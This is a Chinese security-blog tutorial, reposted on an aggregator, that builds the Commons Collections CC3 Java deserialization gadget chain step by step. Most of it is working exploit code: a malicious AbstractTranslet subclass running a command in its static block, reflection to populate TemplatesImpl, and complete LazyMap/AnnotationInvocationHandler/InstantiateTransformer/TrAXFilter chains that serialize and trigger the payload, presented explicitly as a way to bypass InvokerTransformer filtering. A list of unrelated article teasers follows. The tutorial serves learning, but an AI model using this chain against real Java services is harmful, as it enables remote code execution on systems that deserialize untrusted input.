Java安全--CC3

news2024/11/20 14:32:11

CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是:

当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种关键字。

我们从ClassLoader.defineClass调用来入手。

因为defineClass都是private的,所以我们找哪里调用了defineClass并且是default类型或者public类型。defineClass有多个重载方法,最后我们锁定:

如图所示的defineClass在寻找用法时有一个com.sun.org.apache.xalan.internal.xsltc.trax包下面调用了这个重载方法,并且类型的default。

顺着这个defineClass往上,因为是default所以在同包下面我们找哪里调用了这个defineClass:

0d5fd67cf0da42219f1ed8bc40d2ca51.png 

defineTransletClasses()调用了这个方法,但是defineTransletClasses()的类型是private。我们需要寻找哪里调用了defineTransletClasses()

b776712a0ec6277272e515197bcd2a8d.png 

getTransletInstance()调用了它.而且我们发现这个方法还对这个类进行了加载(调用了newInstance()),那么这里就恰好是我们可以利用的点。

继续往下看哪里调用了getTransletInstance()

56e61e2a5908089f0796d1ba17c443fc.png 

发现newTransformer调用了它,而且newTransformer是public。那我们的寻找到这里就可以结束了,这里就可以直接调用了:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();
    }
}

因为我们调用顺序是:

templates.newTransformer()->getTransletInstance()

所以我们从getTransletInstance方法开始看:

bd7caec12d4f0053ae68a28f5e4cb3c0.png 

这个getTransletInstance中的if语句是我们遇到的第一个问题:

这里的_name是我们肯定要赋值的,这里目前来看要求只有不为空,所以我们随便赋一个值,可以先看一下_name的类型:

我们利用反射修改:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        templates.newTransformer();
    }
}

来看第二个判断:

if (_class == null) defineTransletClasses();

因为这里的defineTransletClasses是我们要调用的方法,所以我们这里不能给_class赋值,看一下_class初始的时候是不是为空:

发现确实为空,那我们就不用修改了。

然后我们就进入到defineTransletClasses方法:

08779474f22808c7d0b5e9eafb9b851b.png 

这里有一个_bytecodes判断,这里如果为空的话会抛出异常,我们需要对这里进行赋值,先看一下_bytecodes的类型:

是一个byte类型的二维数组,值得注意的还有:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
}

这里对bytecodes进行了类加载,所以这里我们就传入我们要加载的恶意类的字节马:

//先编译一下这个Test类
package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

//编译后把class文件路径找到或者复制到另外一个路径,后面需要路径来加载

修改_bytecodes:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        templates.newTransformer();
    }
}

293cdc6e8b0d40f19a3641da6190bfa1.png 

这里判断完byte之后对_tfactory进行了方法的调用,所以这里需要对_tfactory进行赋值,否则这里会报空指针报错。我们看一下_tfactory是什么:

是一个transient类型,值为空的东西。因为是transient类型,所以序列化的时候并不会被带上,我们去readObject里面看一下:

4d5d9351b924031155fbcdf3c6861c3a.png 

进行了new TransformerFactoryImpl();赋值,那我们就利用反射给他赋值为new TransformerFactoryImpl():

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
    	templates.newTransformer();


    }
}

我们尝试运行一下:

发现报错了,还是报了空指针的错误。我们只能调试跟进一下看看(报错在defineTransletClasses,我们断点就下再那里):

6a40d3c4094b4a2f97bda4503ad65a60.png 

我们调试发现报错的点在_auxClasses调用put这里,因为_auxClasses为空,所以报了空指针错误。我们有两个解决方法:

  1. 因为这里是一个if和else语句,我们满足if语句就可以不进入else,所以第一个方法就是满足if语句
  2. 给_auxClasses赋值,使得不会报错

但是第二个解决方法的话不会满足再下面一个if语句

if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

从上面调试界面就可以看出来_transletIndex已经被赋值为-1了,就算使用第二个方法不会报错也会再这一步抛出异常。所以我们只能使用第一钟解决方案。

第一种解决方案要满足的if语句是这样的:

superClass.getName().equals(ABSTRACT_TRANSLET)

要使得父类的名字和一个常量是相等的。我们看一下这个常量是什么:

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

所以我们现在需要修改一下Test类,让他继承AbstractTranslet才能满足这个条件:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

因为继承的是抽象类,所以我们需要实现里面的方法:

e05ba6f278da12d12c97aae096048476.png 

一个是抽象类里面的方法,还有一个是抽象类继承的接口的方法.

然后重新编译Test.java即可,重新运行一遍:

92b5e9695c5944521c322b92e9e91867.png 

成功弹出计算器

因为上面是通过调用某个方法触发的计算器,所以我们可以利用CC1的前半条链子来触发这个方法即可弹出计算器:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


//        templates.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("qf");

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

执行结果:

373e8dc1b4628cc2051a14a6a8316209.png 

重新梳理一下我们的链子:

AnnotationvocationHandler.readObject
  Proxy(annotationInvocationHandler)
    LazyMap.get
    	ChainedTransformer.transform
      	   InvokerTransform.transform
        	TemplatesImpl.newTransformer
          	  defineClass
            	    newInstance
                       触发静态代码块

思考这样一个问题:如果InvokerTransformerban掉是否还有办法实现任意代码执行吗?

其实CC3就是为了绕过过滤InvokerTransformer和Runtime而生的,接下来开始正式的CC3之路

同样道理,我们从TemplatesImpl.newTransformer 查找用法

找到TrAXFilter这个类:

6bb911306c91bca56bb38a9d4d35251e.png 

可惜的是TrAXFilter这个类没有继承serialize接口:

27b31cb9ae94745444f43a0d8a169ff2.png 

所以我们只能利用class的方式想办法对这个类进行序列化,cc3的作者发现一个类:InstantiateTransformer这个类可以对传入的类进行构造,这个类的构造方法如下:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数是要构造的类的参数类型,我们想要传入TrAXFilter,看一下它的构造类型是什么:

发现是一个Templates类型的变量,所以这里第一个参数就传Templates.class

第二个参数是传入的构造参数我们想要调用templates的newTransformer。所以这里第二个参数就传templates。

所以完整就是这样:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

发现可以成功运行:

8274497d1907e31553ecd5396c5c1a8b.png 

现在我们再拼接CC1前面的链子即可:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        
		//这段可以注释
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //这段可以注释

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

小结一下链子:(这里用了白组长的截图)

ad867bb83c025c338a10d4a2e83558e8.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/80524.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1658 页的《Java 面试突击核心讲》在牛客网火了,完整版 PDF 开放下载!

前言 我们都知道&#xff0c;在程序员的职业生涯中&#xff0c;有多个发展方向&#xff0c;不过就数据表明&#xff0c;近年来选择架构师方向的开发人员也越来越多。 对于架构师的发展前途&#xff0c;我相信是已经没有争议的&#xff0c;但这个“概念”对于很多开发人员来说…

[ vulhub漏洞复现篇 ] solr XML外部实体注入(CVE-2017-12629-xxe)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

网站权重怎么批量查?怎么批量查询网站的360权重

批量查询网站360权重的操作&#xff1a; 第一步、打开SEO综合查询工具 第二步、添加需要查询的网站域名&#xff08;有多少放多少&#xff0c;一行一个域名&#xff09; 第三步、勾选360权重PC权重和360移动权重 第四步、点击开始查询 第五步、等待查询结果出来 如果需要导出查…

vue 前端实现随机背景色

目录前言&#xff1a;步骤&#xff1a;功能效果展示&#xff1a;代码&#xff1a;总结&#xff1a;前言&#xff1a; 要求是页面对应的几个模块每次打开都要显示多个不同的随机颜色&#xff0c;点击刷新则显示的颜色改变。我就封装成了一个函数&#xff0c;有不足的地方&#…

【小甲鱼C语言】课后笔记第一章第二节——变量

目录 1、变量的命名规则 2、关键字 3、基本数据类型 4、声明变量的语法 5、课后习题&#xff08;编程题&#xff09; 1、变量的命名规则 C语言变量名只能是英文字母&#xff08;A-Z&#xff0c;a-z&#xff09;和数字&#xff08;0-9&#xff09;或者下划线&#xff08;_&…

【云原生进阶之容器】第一章Docker核心技术1.1节——Docker综述

1 Docker简述 1.1 什么是Docker Docker是一个开源的软件项目,让用户程序部署在一个相对隔离的环境运行,借此在Linux操作系统上提供一层额外的抽象,以及操作系统层虚拟化的自动管理机制。需要额外指出的是,Docker并不等于容器(containers),Docker只是容器的一种,其他的种…

使用vite插件编写tsx文件

一般情况下&#xff0c;我们在template标签里去写静态页面模板。现在可以扩展另一种书写风格 tsx&#xff0c;类似react的jsx语法。vue2 的时候就已经支持jsx写法&#xff0c;只不过不是很友好&#xff0c;随着vue3对typescript的支持度增高&#xff0c;tsx写法越来越被接受。 …

基本素质提升(一)----日常/命令积累

目录 一、引言 二、日常积累 三、命令积累 一、引言 这个主题主要带大家学习一下日常开发所使用的命令及相关知识&#xff0c;会持续更新 二、日常积累 1、kill 给某个进程发送信号 kill -STOP pid(进程号)&#xff0c;可以发送任何信号给进程&#xff1b;kill -STOP %…

【云计算与大数据技术】云计算概论介绍

一、什么是云计算 云计算&#xff08;cloud computing&#xff09;是基于互联网的相关服务的增加、使用和交付模式&#xff0c;通常涉及通过互联网来提供动态易扩展且经常是虚拟化的资源。云是网络、互联网的一种比喻说法&#xff0c;过去往往用来用云表示电信网&#xff0c;后…

基于51单片机电动自行车车速报警系统proteus仿真原理图程序

功能&#xff1a; 0.本项目采用STC89C52作为单片机系统的控制MCU 1.LCD1602液晶分三种显示模式 a)显示实时速度和本次里程 b)显示当前时间 c)显示报警速度和总里程 2.超过报警速度将声光报警 3.功能按键介绍 a显示状态下: 上’键——电机速度1 下’键——电机速度-1 设置’键—…

Java基于JSP+mysql的学科竞赛管理系统

随着我学科竞赛是对课堂上所学的理论知识的实践运用&#xff0c;是考察大学生学科基本理论知识和解决实际问题能力的比赛&#xff0c;是高等学校人才培养质量的标志之一&#xff0c;是培养知识-能力-素质协调发展的创新型、高素质人才重要途径&#xff0c;对高校的学风、就业也…

Go开发中配置一个Logger日志的功能实现

为什么需要Logger 一般在开发项目的时候我们都是需要一个存储日志的文件&#xff0c;因为在部署项目以后&#xff0c;我们只能通过去筛查日志进行检索问题&#xff0c;这时候日志是否可以呈现清晰这个对于我们进行排查工作是十分重要的&#xff0c;所以Logger能否展示出我们最…

Linux基础——git和gdb的使用

前言 我们在平时维护和上传代码时会用到git&#xff0c;但是这个git具体是什么&#xff0c;往往又说不清楚。其实git其实就是一个版本管理工具&#xff0c;有了这个工具就能方便快捷地查询自己上传代码的不同版本&#xff0c;对每一次上传的改动了如指掌。 那gdb又是什么呢&a…

文本生成自回归解码策略总结

当今文本生成的主流方式还是自回归式的语言建模&#xff0c;本篇文章对文本生成常用的几种自回归采样&解码策略进行总结&#xff08;以下统称为采样&#xff09;。 采样方式Argmax Decoding&#xff08;贪婪采样&#xff09;Greedy Search&#xff08;贪心搜索&#xff09;…

Neo4J入门笔记[2]---Neo4J GDS 图数据科学库

Neo4J 提供了GDS的库&#xff0c;里面包括了很多算法。GDS的英语全称是Graph Data Science&#xff08;图数据科学库&#xff09;&#xff0c;其句法流程如下&#xff1a; stream Returns the result of the algorithm as a stream of records. stats Returns a single recor…

【VUE3】保姆级基础讲解(二)计算属性,vue组件,vue-cli脚手架,组件通讯,插槽slot

目录 计算属性computed 侦听器watch 对象监听 组件 注册全局组件 注册局部组件 Vue-CLI脚手架 安装和使用 .browserslistrc main.js jsconfig.json 组件通讯 父组件传递给子组件 props基础 非prop的attribute 子组件传递给父组件 插槽slot 基础使用 具名插槽 …

前端整合ECharts

1、简介 ECharts是百度的一个项目&#xff0c;后来百度把Echart捐给apache&#xff0c;用于图表展示&#xff0c;提供了常规的折线图、柱状图、散点图、饼图、K线图&#xff0c;用于统计的盒形图&#xff0c;用于地理数据可视化的地图、热力图、线图&#xff0c;用于关系数据可…

图数据库 Neo4j 学习之SpringBoot整合

Neo4j 系列 1、图数据库 Neo4j 学习随笔之基础认识 2、图数据库 Neo4j 学习随笔之核心内容 3、图数据库 Neo4j 学习随笔之基础操作 4、图数据库 Neo4j 学习随笔之高级操作 5、图数据库 Neo4j 学习之JAVA-API操作 6、图数据库 Neo4j 学习之SpringBoot整合 文章目录Neo4j 系列前…

Docker与Linux之间的关系——Namespace,Cgroups, 网络通信总结

文章目录一、前言二、NamespaceNamespace Linux内核操作方法容器隔离性与 Linux Namespace 关系Linux Namespace 常用操作三、CgroupsCgroups 子系统CPU 子系统cpuacct 子系统Memory 子系统Linux 调度器使用 cgroup 限额实践四、DockerDocker的文件系统OCI 容器标准Docker 引擎…

php+vue基于微信小程序的房屋租赁小程序

当今社会房屋租赁买卖是必不可少的&#xff0c;人们不管走到哪里都需要有一个温馨的家&#xff0c;有一个落脚之地&#xff0c;所以房屋租赁市场也是非常火爆&#xff01;不管是房屋租赁公司或者是个人都需要一套完整的管理系统来掌握整个市场信息。针对这一需求&#xff0c;本…